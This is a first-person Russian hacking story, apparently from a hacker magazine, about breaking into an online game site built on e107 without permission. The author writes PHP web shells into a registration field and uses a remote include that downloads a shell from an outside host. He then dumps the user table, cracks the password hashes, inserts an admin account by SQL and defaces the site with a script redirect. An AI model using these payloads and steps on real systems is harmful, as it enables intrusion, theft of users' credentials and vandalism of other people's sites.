Как-то вечером, (ну это для меня вечер =), было
где-то 2:30 ночи )) ) постучал ко мне f1refox, говорит я тут игрушку одну онлайновскую расковырял, но
добить не могу... В общем там было вот что: для регистрации в форме указывается логин, пароль etc.. и после успешной регистрации создается файл логин_ch.php
с содержимым которое указано в форме в
качестве параметра value для поля sample...
Выглядела форма так:

--- reg_form.html ---
<form action="http://game.site.com/reg.php" method="post">
<input type="hidden" name="x" value=1>
логин: <input type="text" name="login" value="">
пароль:<input type="password" name="pas1">
подтверждение пароля:<input type="password" name="pas2">
<td><input type="radio" checked=1 name="sample" value="текст_для_запси_в_файл">
<input type="submit" value="зарегистрировать пользователя" name="reg">
</form>
-----------------------

Именно в input'e с name=sample и содержится тот текст, который будет записан в файл логин_ch.php! Ну вы уже наверное догадались, что можно с этого
поиметь. Не долго думая я на накатал скрипт: <? system($_GET[cmd]); ?> который был вставлен в value поля sample нашей формы...
Конечно все символы < и > были заменены на < и > соответственно.
Дальше я зарегался с логином superhacker => создался файл superhacker_ch.php с содержимым <? system($_GET[cmd]); ?>, я набил в адресной строке браузера путь до файла и как я
и предполагал мне был выдан результат:

Warning: system() [function.system]: Cannot execute a blank command in /path/to/script/superhacker_ch.php on line
2

Дальше я набрал /superhacker_ch.php?cmd=id и крупно обломался!
Результата не было никакого... Только пустые строки...
Я набивал разные комманды, пробовал заливать другие скрипты с ф-иями passthru()
и exec(), но все равно ничего не выходило... SAFE MODE был включен.
После часа экспериментов со скриптом я огорчился - все кавычки в тексте, который записывался в файл, экранировались
и скрипты выдавали ошибки в синтаксисе.
Отсюда исчезли очень многие возможности.
Ковырять другие скрипты не хотелось и я пошел спать,
время было уже около 5 утра.

Проснулся я рано и сразу появилась идея, я написал скрипт:

<xmp> <? if(!empty($_GET[file])) readfile($_GET[file]); ?> </xmp>

Как видите это обычный скрипт для чтения файлов.
Прочитав несколько файлов я надыбал пути к системным директориям движка (двиг там стоял e107 ), но вручную брутить имена файлов не хотелось
и я на некоторое время забил на это дело и решил пойти позавтракать...
И тут меня осенило! Скрипт с include-багом! Я накатал скрипт: <? if(!empty($_GET[inc])) include($_GET[inc]); ?> и решил проверить.
Боялся того, что из-за SAFE-MODE будет нельзя инклудить файлы с других серверов, но нет
- это было возможно! Я накатал простенький скрипт, который бы загружал шелл с другого сервера и сохранял его в текущую диру с именем out.php, залил его на народовский фтп:

<?
$file = fopen("http://jenizix.narod.ru/shell.php","r");
$out = fopen("out.php","w");
while(!feof($file))
fputs($out,fgets($file));

fclose($file);
fclose($out);
?>

Теперь осталось набрать в браузере
http://site.com/inc_script_ch.php&inc= http://jenizix.narod.ru/load_shell.php и шелл был залит на сервер.

Побродив по каталогам на сервере я нашел файл конфигурации e107 для
MySQL. Выдернул оттуда логин, пароль и имя базы, задампил таблицу e107_user с
данными о юзерах. Создав файл с логинами и хешами паролей я поставил их на брут, а тем временем вставил в таблицу нового юзера с
админскими правами, вот таким запросом: 

INSERT INTO e107_user (`login`, `password`, `user_admin`, `user_perms`) VALUES ('Jenizix', 'MD5_хеш_пароля', '1', '0')

Запрос выполнился успешно и в таблице появилась новая запись.
Админ-панель находилась по адресу http://site.com/e107_admin/admin.php и
я успешно туда залогинился! Все! Теперь админка у меня в руках!
На серваке крутилась FreeBSD 5.3-RELEASE-p5, но права были никакими,
поэтому мы решили просто дефейснуть сайт,
благо он был не сильно раскрученный...
Количество пользователей было 129. 

Как я уже сказал - права были никакими (((, поэтому /index.php нельзя было редактировать.
На сервере можно было писать только в директорию, где создавались файлы юзеров:
http://site.com/game/chel/, поэтому было решено залить туда файл дефейса, а в админке изменить поле title на <script>location.href='http://site.com/game/chel/deface.html';</script> - редирект на файл дефейса.
За это время у меня сбрутилось больше половины хешей
- вот тут я разочаровался в русских людях.
Думают поставив пароль qwerty или 123456 они обезопасят себя ))))
И самое обидное, что такие пароли были там почти у всех, даже у главного админа пароль был -
12345. Я чуть от смеха не упал... На том мы оставили сервер в покое.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии